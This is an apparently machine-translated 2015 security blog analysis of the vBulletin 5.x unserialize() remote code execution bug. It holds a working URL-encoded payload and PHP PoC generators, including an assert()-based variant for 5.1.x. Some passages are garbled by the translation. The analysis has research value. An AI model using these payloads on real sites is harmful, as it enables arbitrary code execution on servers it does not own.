RickGray · 2015/11/10 12:04

Author: RickGray

Recently, an RCE exploit and brief analysis of vBulletin has been exposed. The cause of the vulnerability is that the vBulletin program uses unserialize() to deserialize the passed parameter value when processing Ajax API calls. Causing an attacker to use a carefully constructed Payload directly causes the code to execute. For details about deserialization vulnerability in PHP, see OWASP’s PHP Object Injection.

You can execute phpInfo (1) directly on the affected site using the Payload provided by the source:

The construction process of the specific Payload is also mentioned in this article. However, when I tested vBulletin 5.1.x, I found that the original Payload failed. However, after in-depth analysis, it is found that the specific utilization needs to combine some code structures of the vBulletin program itself to obtain a relatively common Payload, which can be understood through the following analysis.

0x00 Deserialize trigger trace


Although the trigger of the unserialize() vulnerability has been clearly described in the expose article, and the triggering process of the entire key code is also explained, but in the in-depth tracking and analysis, there are still areas worth noting and learning.

http://172.16.96.130/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db %22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22p hpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7DCopy the code

By observing the service side of the call stack when dealing with PHP, shows the service side in dealing with the above request, will ajax/API/hook/decodeArguments as routing parameters $_REQUEST [‘ routestring] passed to address the routing process. Because it conforms to the Ajax/API /[Controller]/[method] AJAX API request routing format, The handleAjaxApi() function in the vB5_Frontend_ApplicationLight instance is then called to perform the appropriate module load and call the handler:

#! php protected function handleAjaxApi() { $routeInfo = explode('/', $_REQUEST['routestring']); if (count($routeInfo) < 4) { throw new vB5_Exception_Api('ajax', 'api', array(), 'invalid_request'); } $params = array_merge($_POST, $_GET); $this->sendAsJson(Api_InterfaceAbstract::instance(Api_InterfaceAbstract::API_LIGHT)->callApi($routeInfo[2], $routeInfo[3], $params, true)); }Copy the code

Request of ajax/API/hook hook/decodeArguments instantiated class and then call decodeArguments () function, mentioned in the original trigger point here:

#! php public function decodeArguments($arguments) { if ($args = @unserialize($arguments)) { $result = ''; foreach ($args AS $varname => $value) { $result .= $varname;Copy the code

By deserializing, we can enable it to generate class instances that are already defined in the context of the execution environment and exploit it by looking for a class with the __wakeup() or __destruct() magic methods in question. $args = @unserialize($arguments) generates an instance of the iterator vB_dB_Result class. Therefore, its rewind() function will be called first when the foreach operation is performed later.

In rewind(), the call is made based on the instance variable state:

#! php public function rewind() { if ($this->recordset) { $this->db->free_result($this->recordset); }Copy the code

$this->db->free_result (); $this->db->free_result ();

#! php function free_result($queryresult) { $this->sql = ''; return @$this->functions['free_result']($queryresult); }Copy the code

$this->functions[‘free_result’] mysql_free_result; $this->functions[‘free_result’]; Change its corresponding functions[‘free_result’] to the function we want to execute, so an arbitrary code execution is produced.

0x01 Utilization analysis and improvement


The Payload is the Payload.

#! php <? php class vB_Database { public $functions = array(); public function __construct() { $this->functions['free_result'] = 'phpinfo'; } } class vB_dB_Result { protected $db; protected $recordset; public function __construct() { $this->db = new vB_Database(); $this->recordset = 1; } } print urlencode(serialize(new vB_dB_Result())) . "\n";Copy the code

Through the analysis of the first part, we have been clear about the function call process and reason of the whole vulnerability, and have learned which parameters can be controlled and utilized. $this->functions[‘free_result’] = ‘assert’; And $this – > you = ‘var_dump (md5 (1)); Assert (‘var_dump(MD5 (1))’);

At this time, RCE was already very smooth, but during the test, IT was found that PoC provided in the original text could only reproduce vBulletin of 5.0.x version, while vBulletin of 5.1.x version could not. In 5.1.x, vB_Database is defined as an abstract class:

#! php abstract class vB_Database { /** * The type of result set to return from the database for a specific row. */Copy the code

Abstract classes cannot be instantiated directly. The PoC provided in this article is the value of the vB_Database member DB of the vB_dB_Result iterator. Deserialization on the server will fail because of the need to restore the instance to an abstract class:

This is why PoC will not succeed on 5.1.x. It is also easy to solve this problem by tracing the call stack and discovering that the program will call the autoload() method registered by the program to dynamically load the class file when deserializing the undefined class. VBulletin here will, in turn, calls the includes/vb5 / autoloader. In PHP _autoload method and core/vb/vb. In PHP autoload () method, which successfully loaded namely return, failure is deserialized. $this->db->free_result($this->recordset); You need to find a subclass that inherits from the vB_Database abstract class and whose source file path can be loaded during autoload.

Through a search, the following classes are found to inherit from the vB_Database abstract class and its corresponding source path:

The final code will parse the passed class name to dynamically construct the path to the source file it is trying toload:

#! php ... Omit $fname = str_replace (' _ ', '/', strtolower ($class)). The 'PHP'; foreach (self::$_paths AS $path) { if (file_exists($path . $fname)) { include($path . $fname); if (class_exists($class, false)) { return true; }Copy the code

The above code exists in the first call to __autoload(), and you can see that the provided class name is split with _, dynamically constructing the load path (the second autoload() process is much the same), A brief analysis shows that only when deserializing vB_Database_MySQL and vB_Database_MySQLi, two subclasses based on the vB_Database abstract class, can the deserialization be performed successfully by dynamically loading the source file with the class definition. Finally, you can control the parameters for arbitrary code execution.

Therefore, the PoC for vBulletin for 5.1.x can be obtained by using vB_Database_MySQL or vB_Database_MySQLi as the iterator value of the vB_dB_Result member DB. The specific PoC is as follows:

#! php <? php class vB_Database_MySQL { public $functions = array(); public function __construct() { $this->functions['free_result'] = 'assert'; } } class vB_dB_Result { protected $db; protected $recordset; public function __construct() { $this->db = new vB_Database_MySQL(); $this->recordset = 'print(" this Vuln In 5.1.7")'; } } print urlencode(serialize(new vB_dB_Result())) . "\n";Copy the code

To test This assert(‘print(“This Vuln In 5.1.7”)’) :

Of course, PoC is more than the one provided above, just for reference.

0 x02 summary


The exposure of vBulletin 5.X. ce vulnerability, from finding the trigger point to finding the object, and then to various automatic loading details, has to be said to be a good practical example of PHP deserialization vulnerability. Not careful analysis really can not find the original author’s clear thinking and familiarity with the program.

In addition, Check Point also announces on its blog another advantage of deserialization, by deserializing a template object and finally calling eval() for execution.

0 x03 reference


  • Pastie.org/pastes/1052…
  • www.owasp.org/index.php/P…
  • Php.net/manual/en/c…
  • www.php.net/manual/en/f…
  • Blog.checkpoint.com/2015/11/05/…
  • www.sebug.net/vuldb/ssvid…

The original reference: blog.knownsec.com/2015/11/uns…